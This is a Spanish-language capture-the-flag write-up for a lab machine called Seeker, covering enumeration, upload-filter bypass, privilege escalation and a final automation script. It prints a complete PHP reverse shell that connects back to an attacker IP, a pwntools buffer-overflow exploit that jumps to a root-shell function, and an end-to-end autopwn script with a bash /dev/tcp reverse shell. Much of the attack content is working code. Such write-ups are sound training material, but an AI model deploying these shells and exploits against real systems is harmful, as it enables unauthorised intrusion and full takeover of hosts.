> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/seeker-write-up.md).

# Seeker write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/fKaH0l0Jz4VvrQjot4uy" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/OEjWjZXqKoZIF77lHDhi" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/BGLuTQUhjwP7Awo4LkLG" alt=""><figcaption></figcaption></figure>

En un principio parece que una página por defecto de apache, pero si nos fijamos encontramos lo siguiente:

<figure><img src="/files/6WBC3ZwPTiOkXL4CZTAE" alt=""><figcaption></figcaption></figure>

Esto indica se está usando `5eEk3r` como dominio, por lo que agregaremos `5eEk3r.dl` en nuestro archivo `/etc/hosts` para que apunte a la IP `172.17.0.2`.

<figure><img src="/files/0Ty97nkbZFo0YieiAg4g" alt=""><figcaption></figcaption></figure>

Si ahora ingresamos `5eEk3r.dl` en el navegador veremos lo siguiente:

<figure><img src="/files/MgU9MF2X2XGMmU65h3TL" alt=""><figcaption></figcaption></figure>

Observamos que la página sigue siendo un plantilla por defecto de apache. Así que ahora usaremos **Gobuster** para enumerar subdominios con el siguiente comando:

```bash
gobuster vhost -u http://5eek3r.dl/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 --append-domain | grep -e " Status: 200"
```

<figure><img src="/files/ZI9vIM5EsLSTi1Rure31" alt=""><figcaption></figcaption></figure>

Esto indica que existe el subdominio `crosswords.5eek3r.dl`, por lo que lo agregaremos al archivo `/etc/hosts` para que apunte a la IP `172.17.0.2`.

<figure><img src="/files/yfIO2Zk3NFlcpB3ESUjQ" alt=""><figcaption></figcaption></figure>

Ahora ingresamos la dirección `crosswords.5eek3r.dl` en el navegador.

<figure><img src="/files/Tf9qQgYbK138z18ltzqs" alt=""><figcaption></figcaption></figure>

Contemplamos un codificador de ROT 14, sin embargo, no encontramos nada interesante, por lo que usaremos de nuevo **Gobuster** para encontrar subdominios.

```bash
gobuster vhost -u http://crosswords.5eek3r.dl/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 --append-domain | grep -e " Status: 200"
```

<figure><img src="/files/k3cmFcV86Sy18ASasx14" alt=""><figcaption></figcaption></figure>

Agregamos el dominio `admin.crosswords.5eek3r.dl` en el archivo `/etc/hosts` para que apunte a la IP `172.17.0.2`.

<figure><img src="/files/wef4mdA4XMFotjr97FFd" alt=""><figcaption></figcaption></figure>

Ahora al ingresar <http://admin.crosswords.5eek3r.dl> en el navegador contemplamos lo siguiente:

<figure><img src="/files/N47ca0bryPvVGgWWGmVk" alt=""><figcaption></figcaption></figure>

Encontramos un formulario para subir archivos, sin embargo al subir un archivo en PHP dará un error y un mensaje diciendo que solo se permite la subida de archivo HTML. Pero si probamos a hacer un ataque de fuerza bruta con **Burpsuite** para subir un archivo en PHP pero con diferentes extensiones, observaremos que podemos subir un archivo malicioso con extensión PHAR. (Explicación más detallada de como hacerlo en <https://boletuss-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/apolos-write-up>).

Nuestro archivo malicioso contendrá lo siguiente:

```php
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>         
```

<figure><img src="/files/2voyetGD6n0veMqFRIlo" alt=""><figcaption></figcaption></figure>

Una vez subido el archivo, nos ponemos en escucha por el puerto 444 e ingresamos la ruta `http://crosswords.5eek3r.dl/shell.phar` en el navegador.

```bash
nc -nlvvp 444
```

<figure><img src="/files/xCqJm4syiKVTFfvwpxmT" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima como usuario `www-data`, ejecutamos el comando `sudo -l`, el cual indica que podemos ejecutar `/usr/bin/busybox` como usuario `astu`.

<figure><img src="/files/FIiOxxg5SJBg70m7TiEa" alt=""><figcaption></figcaption></figure>

Por lo que ejecutaremos lo siguiente para obtener una shell como el usuario `astu`:

```bash
sudo -u astu /usr/bin/busybox sh
```

Después ejecutamos `bash`.

<figure><img src="/files/eukqVviNFyLb1q7h4SqK" alt=""><figcaption></figcaption></figure>

Una dentro de la máquina víctima como usuario `astu`, encontramos el binario `/home/astu/secure/bs64`, el cual al ejecutarlo pide que introduzcamos un texto, el cual luego codifica en base64. También observamos que tiene permisos SUID activados.

<figure><img src="/files/k2VkNiXxsaoxA9mmGGCA" alt=""><figcaption></figcaption></figure>

Así que vamos a probar a hacer ingeniería inversa para entender cómo se ejecuta el programa. Para ello, abrimos un servidor en la máquina víctima usando PHP con el siguiente comando:

```bash
php -S 0.0.0.0:8080
```

<figure><img src="/files/lEAbfIw9VozYetNmC684" alt=""><figcaption></figcaption></figure>

```bash
curl 172.17.0.2:8080/bs64 -o bs64
```

Una vez tengamos el binario, vemos que se trata de un binario ELF de 64 bits por lo que vamos a usar **ghidra** para hacer ingeniería inversa.

```bash
ghidra
```

Primero creamos un nuevo proyecto.

<figure><img src="/files/YSsnr8lmb0S9ED4hnxBA" alt=""><figcaption></figcaption></figure>

Después importamos el binario `bs64`.

<figure><img src="/files/5qEyYunIgOuAdCp3oUAK" alt=""><figcaption></figcaption></figure>

Una vez importado, hacemos doble clic en `bs64`.

<figure><img src="/files/610lq7vl1xWOE21v3MVL" alt=""><figcaption></figcaption></figure>

Ahora haremos clic en `yes` y seleccionaremos la opción de `Decompiler Parameter ID` y hacemos clic en `analyze`.

<figure><img src="/files/O79rTAxIcaZvOVNNefcC" alt=""><figcaption></figcaption></figure>

Una vez que **Ghidra** haya descompilado el lenguaje máquina a una representación en C, contemplamos la función `main`, la cual se encarga de pedir el texto que queramos codificar.

<figure><img src="/files/MYNGV1VmDV4FT82v63NL" alt=""><figcaption></figcaption></figure>

Si nos fijamos en detalle primero se declara la variable de tipo array `local_48`, la cual ocupará 64 bytes de memoria. Después se imprimirá en pantalla `Ingrese el texto:` y se llamará a la función `my_gets()` la cual tomará como parámetro la dirección de memoria del primer byte (\&local\_48\[0]).

Si ahora hacemos doble clic en la función `my_gets()` podremos analizamos la función.

<figure><img src="/files/nTo3hBDzR6a2FNF4RAeZ" alt=""><figcaption></figcaption></figure>

La función escribe byte por byte los caracteres introducidos, almacenándolos consecutivamente en memoria, empezando desde la dirección del primer byte del arreglo `local_48`. Sin embargo, no se está comprobando que no se escriban más de 64 bytes, que es la capacidad del arreglo `local_48`. Esto puede provocar un **desbordamiento de búfer** si se introduce una cadena demasiado larga. Lo cual lo hace vulnerable a un **Buffer Overflow**.

Esto permitirá sobrescribir el `ret` de la función `main`. El `ret` indica la dirección de memoria a la que debe volver la ejecución una vez que finaliza una función. Para saber que bytes son los que se sobrescriben el valor del `ret` primero vamos a instalarnos `pwndbg`, para ello ejecutamos lo siguiente:

```bash
git clone https://github.com/pwndbg/pwndbg.git && cd pwndbg && ./setup.sh
```

Una vez instalado vamos a ejecutar lo siguiente:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
```

```plaintext
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
```

Esto creo una cadena única de 400 bytes, así que ahora ingresaremos la cadena cuando el programa pida introducir un texto y así saber que byte empieza a sobrescribir en el `ret`. Para ello vamos a usar `gdb + pwndbg` ejecutando lo siguiente:

```bash
gdb ./bs64 
```

<figure><img src="/files/ENoB1yJ6msYwSt0dAd15" alt=""><figcaption></figcaption></figure>

Ahora ingresamos el carácter `r` para iniciar el programa.

<figure><img src="/files/nMuzpb20I7TuZa6vKMsk" alt=""><figcaption></figcaption></figure>

E ingresamos la cadena que creamos anteriormente.

<figure><img src="/files/JkLT1wt3Kvku7hUZeI8Z" alt=""><figcaption></figcaption></figure>

Ahora observamos que dentro en el set se está guardando estos 8 bytes `0x6341356341346341`

<figure><img src="/files/3aKRviqHjLSRsVnYIpHA" alt=""><figcaption></figcaption></figure>

Por lo que ejecutaremos lo siguiente para saber a que byte corresponde:

```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6341356341346341
```

<figure><img src="/files/Nb3Jh3ksnv5khS2syVN5" alt=""><figcaption></figcaption></figure>

Esto indica que el valor del ret se empieza a sobrescribir a partir de byte 72. Ahora investigamos más el programa podemos observar que existe una función llamada `fire()` la cual ejecuta una shell sh como usuario root:

<figure><img src="/files/aweILy8OnWwnxuftvRSR" alt=""><figcaption></figcaption></figure>

Por lo que nuestro objetivo será sobrescribir el valor del `ret` de la función `main` con la dirección de memoria `0x401382`, que es donde se ejecuta la función `setuid(0)` para posteriormente ejecutar `system("/bin/sh")`.

<figure><img src="/files/LIukpN9jACuHcPJn4nSy" alt=""><figcaption></figcaption></figure>

Finalmente vamos a crear el siguiente script de python en el directorio `/tmp` de la máquina víctima:

```bash
cat > /tmp/script.py << 'EOF'
#!/bin/python3

from pwn import *

# Configuración del binario
binary = '/home/astu/secure/bs64'  # Reemplaza con la ruta del binario
context.binary = binary

# Cargar el binario
elf = ELF(binary)
p = process(binary)

# Dirección de la función "fire"
fire_func = 0x0000000000401382  # Dirección de la función fire

# Crear el payload
payload = b"A" * 72  # Relleno hasta el ret
payload += p64(fire_func)  # Dirección de la función "fire"

# Enviar el payload
log.info(f"[*]Enviando payload")
p.sendline(payload)

# Mantener la interacción
p.interactive()
EOF
```

<figure><img src="/files/fZCdsxUOwvt7QP81I7i7" alt=""><figcaption></figcaption></figure>

Y observamos como efectivamente obtuvimos una shell como usuario `root`.

## **Autopwn**

```python
import os
import time
import subprocess

def verificar_hosts(dominios=["5eEk3r.dl", "crosswords.5eek3r.dl", "admin.crosswords.5eek3r.dl"], ruta="/etc/hosts"):
    try:
        with open(ruta, "r") as archivo:
            contenido = archivo.readlines()

        for dominio in dominios:
            encontrado = False
            for linea in contenido:
                if linea.strip().startswith("#") or not linea.strip():
                    continue
                if dominio in linea:
                    print(f"[+] El dominio '{dominio}' está presente en {ruta}")
                    encontrado = True
                    break
            if not encontrado:
                print(f"[-] El dominio '{dominio}' NO está presente en {ruta}")
                exit()

    except Exception as e:
        print(f"[!] Error al leer {ruta}: {e}")
        exit()

def crear_shell_phar():
    print("[+] Creando shell.phar...")
    
    contenido = """<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '172.17.0.1';  // CHANGE THIS
$port = 444;       // CHANGE THIS
$chunk_size = 1400;
$shell = 'uname -a; w; id; /bin/bash -i';
$contador = 0;
$debug = 0;
$daemon = 0;
$welcome_message = "  \033[1;34m_____   _   _   _____   _   _   _  __  _____   
 / ____| | | | | |_   _| | \ | | | |/ / |_   _|  
| (___   | |_| |   | |   |  \| | | ' /    | |    
 \___ \  |  _  |   | |   | . ` | |  <     | |    
 ____) | | | | |  _| |_  | |\  | | . \   _| |_   
|_____/  |_| |_| |_____| |_| \_| |_|\_\ |_____|  \033[0m\n";

$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);


// Mostrar mensaje de bienvenida a la shell

fwrite($sock, $welcome_message);



while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

    $read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}

}
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>  
"""

    with open("shell.phar", "w") as f:
        f.write(contenido)
    print("[+] Archivo shell.phar creado correctamente.")
    os.system("chmod 0700 shell.phar")

def crear_script_expect1():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 2
sleep 5
spawn zsh
expect "└─$ "
send "while true; do curl http://crosswords.5eek3r.dl/shell.phar ; sleep 1 ; done\r"
interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 2
sleep 5
spawn zsh
expect "└─$ "
send "nc -nlvvp 444\r"

sleep 1

expect "$ "
send "sudo -u astu /usr/bin/busybox sh\r"

sleep 1


expect "$ "
send "script /dev/null -c bash\r"

sleep 1

expect "$ "
send {cat > /tmp/script.py << 'EOF'
#!/bin/python3

from pwn import *

# Configuración del binario
binary = '/home/astu/secure/bs64'  # Reemplaza con la ruta del binario
context.binary = binary

# Cargar el binario
elf = ELF(binary)
p = process(binary)

# Dirección de la función "fire"
fire_func = 0x0000000000401382  # Dirección de la función fire

# Crear el payload
payload = b"A" * 72  # Relleno hasta el ret
payload += p64(fire_func)  # Dirección de la función "fire"

# Enviar el payload
log.info(f"[*]Enviando payload")
p.sendline(payload)

# Mantener la interacción
p.interactive()
EOF}

sleep 1

expect "$ "
send "\r"

sleep 1

expect "$ "
send "chmod 0777 /tmp/script.py\r"

sleep 1

expect "$ "
send "python3 /tmp/script.py\r"

sleep 1

expect "$ "
send {bash -c "bash -p -i >& /dev/tcp/172.17.0.1/4444 0>&1"}
send "\r"

interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])


def main():

    verificar_hosts()

    time.sleep(1)

    crear_shell_phar()

    time.sleep(1)

    os.system("curl -s -k -X POST -F 'upload=@shell.phar' http://admin.crosswords.5eek3r.dl/ 1>/dev/null")

    crear_script_expect1()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    crear_script_expect2()

    time.sleep(1)

    iniciar_escucha2()

    time.sleep(0.1)

    os.system("nc -nlvvp 4444")

    os.system("rm shell.phar script1.exp script2.exp")

if __name__ == "__main__":
    main()
```
